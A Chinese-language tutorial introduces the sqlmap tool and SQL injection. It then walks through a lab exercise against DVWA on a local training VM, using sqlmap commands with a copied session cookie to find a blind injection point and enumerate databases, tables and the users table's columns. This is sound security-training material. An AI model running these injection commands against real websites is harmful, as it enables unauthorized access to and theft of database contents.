SQLmap
SQLmap简介
SQLMAP是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL和SQL注入漏洞,其广泛的功能和选项包括数据库指纹,枚举,数据库提权,访问目标文件系统,并在获取操作权限时执行任意命令。
SQLMAP是开源的自动化SQL注入工具,由Python写成,具有如下特点:
- 完全支持MySQL、Oracle、PostgreSQL、MSSQL、Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。
- 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
- 在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
- 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列
- 支持自动识别密码哈希格式并通过字典破解密码哈希。
- 支持完全地下载某个数据库中的某个表、也可以只下载某个表中的某几列。
- 支持在数据库管理系统中搜索指定的数据库名、表名和列名
- 当数据库管理系统是MySQL、PostgreSQL或者MSSQL时支持下载或上传文件。
- 当数据库管理系统是MySQL、PostgreSQL或者MSSQL时支持执行任意命令并回显标准输出。
SQL 注入简介
SQL注入是一种非常常见的数据库攻击手段,SQL注入漏洞也是网络世界中最普遍的漏洞之一。大家也许都听过某某学长通过攻击学校数据库修改自己成绩的事情,这些学长们一般用的就是SQL注入方法。
SQL注入其实就是恶意用户通过在表单中填写包含SQL关键字的数据来使数据库执行非常规代码的过程。简单来说,就是数据「越俎代庖」做了代码才能干的事情。
这个问题的来源是,SQL数据库的操作是通过SQL语句来执行的,而无论是执行代码还是数据项都必须写在SQL语句之中,这就导致如果我们在数据项中加入了某些SQL语句关键字(比如说SELECT、DROP等等),这些关键字就很可能在数据库写入或读取数据时得到执行。
利用SQLmap实现 SQL 注入
环境准备
- 开启OWASP靶机和Kali虚拟机
- kali中登陆dvwa(用户名和密码都是 admin),进入 SQL Injection(Blind)页面,安全等级调为low
利用SQLmap实现 SQL 注入案例
1.输入数字后提交
随意输入一个数字,如将ID输入为:1,然后单击“提交”。在浏览器地址栏复制URL
2.使用开发者工具为后续工作做准备
F12打开开发者工具,选中Storage(存储)选项卡,找到cookies,复制其中的PHPSESSID的值(获取cookies,为之后绕过登录页面做准备)
3.输入命令来实现绕过登录页面
由于浏览器提交方式为get型,sqlmap采用-u命令。将刚才复制的URL和COOKIE写入命令:
sqlmap -u “http://192.168.11.131/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=iavdr5g5koni1thuqk78ldji17” --batch
(使用sqlmap进行get型注入,cookie用来绕过登录页面)
复制cookie值后,排成如下格式:
security=low;PHPSESSID=glp39jv1sjcs2gbem1pu105hu2
可以获取到注入点:
4.为了查看有哪些数据库
输入命令:
sqlmap -u “http://192.168.11.131/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=iavdr5g5koni1thuqk78ldji17” --batch --dbs
5.为了查看有当前数据库
输入命令:
sqlmap -u “http://192.168.11.131/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=iavdr5g5koni1thuqk78ldji17” --batch --current-db
6.为了查看数据库中所有的表
输入命令:
sqlmap -u “http://192.168.11.131/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=iavdr5g5koni1thuqk78ldji17” --batch -D dvwa --tables
7.为了查看users表中有哪些列
输入命令:
sqlmap -u “http://192.168.11.131/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=iavdr5g5koni1thuqk78ldji17” --batch -D dvwa -T users --columns